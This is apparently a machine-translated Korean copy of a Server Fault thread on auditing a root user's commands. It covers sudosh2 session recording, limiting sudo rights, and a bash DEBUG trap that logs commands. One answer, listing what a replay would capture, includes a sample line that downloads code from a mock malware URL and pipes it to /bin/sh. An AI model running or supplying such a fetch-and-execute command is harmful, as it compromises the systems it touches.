루트에서 실행 된 모든 명령을 기록


16

외부 시스템 관리자에게 루트 서버에 대한 액세스 권한을 부여하고 싶지만, 그가 서버에서하고있는 일, 예를 들어 데이터 복사 등을 원하지 않는지 다시 확인하고 싶습니다. 또한 읽기 전용이며 편집하지 않은 파일에 액세스 한 파일을 추적하고 싶습니다.

어떻게해야합니까?


1
이 관련 질문을 참조하십시오 : serverfault.com/questions/181131/… ?
Stefan Lasiewski

답변:


21

신뢰하지만 확인하십시오!

sudosh2를 확인하십시오 . sudosh2는 FreeBSD 포트에 의해 제공됩니다. RedHat 및 Ubuntu 용 패키지가 제공됩니다. 다음은 해당 웹 사이트의 설명입니다.

sudosh는 감사 셸 필터이며 로그인 셸로 사용할 수 있습니다. Sudosh는 모든 키 입력 및 출력을 기록하고 VCR처럼 세션을 재생할 수 있습니다.

Sudosh를 사용하면 사용자 세션을 재생할 수 있으므로 사용자가 본대로 모든 입력 출력을 볼 수 있습니다. 모든 것, 키 입력, 오타, 백 스페이스,에서 편집 한 내용 vi,의 출력 wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh등을 볼 수 있습니다.

sudosh 로그를 syslog로 보내 시스템에서 멀리 떨어진 중앙 syslog 서버에 저장할 수 있습니다.

sudosh2는 sudosh를 대신하여 sudosh를 대체했습니다.

사용자가 수퍼 유저 권한을 요구하는 교육 기관에서 일하십니까? 아니면 회사에서 일하면서 사용자가 자신의 VM에 대한 수퍼 유저 권한을 갖도록 하시겠습니까? 이것은 당신을위한 해결책 일 수 있습니다.


1
우수-나는 이전에 sudosh에 대해 들어 본 적이 없었습니다.
EEAA

2
이 'VCR'은 무엇입니까?
Tom Marthenal

2
8 트랙과 비슷하지만 자신의 TV 쇼를 녹화 할 수 있습니다!
Stefan Lasiewski

22

그에게 루트 액세스 권한을 부여하지 마십시오. 대신 권한이없는 사용자 계정을 제공하고 모든 작업을 수행하도록 요청하면 sudo모든 명령이 기록됩니다.

이 사람이 잘못된 의도를 가지고 있고 그에게 완전한 sudo 권한을 주면, 그러한 명령을 기록하지 않고서도 그러한 의도를 수행 수있는 방법을 찾을 입니다. 이 경우 업무 수행에 필요한 특정 명령에만 액세스 권한을 부여하십시오.


나는 내 인생을 아프게하지 않고 가능한 한 열심히하고 싶습니다. 답변 해주셔서 감사합니다.
cedivad

sudo su -루트 쉘을 실행 하여 로그되지 않을 수 있습니다 (시작한 것을 제외하고). 이것은 한 번에 하나의 루트로 하나 이상의 명령을 수행하려고하거나 일반 사용자가 읽을 수없는 디렉토리에서 탭 완성을 원할 때 일반적으로 입력하는 것입니다.
rjmunro

@rjmunro-이것이 내가 그에게 필요한 특정 액세스 권한 만주는 경고를 발행 한 이유입니다. sudo su -원하는 경우 명시 적으로 금지 할 수 있습니다 .
EEAA

1

sudosh2에 익숙하지 않지만 쉘에 .bashrc입력하는 모든 명령 bash을 파일 에 기록 하려면 다음을 입력 하십시오 ~/.command_log.

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

위의 DEBUG명령은 일반 명령이 실행되기 직전에 실행되는 트랩을 설정합니다 . caller내장 명령이 대화 형 쉘에서 입력 또는 같은 것을 통해 실행되는지 여부를 테스트하는 데 사용됩니다 .bashrc. 값 ${BASH_COMMAND}은 현재 실행중인 명령을 포함합니다.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.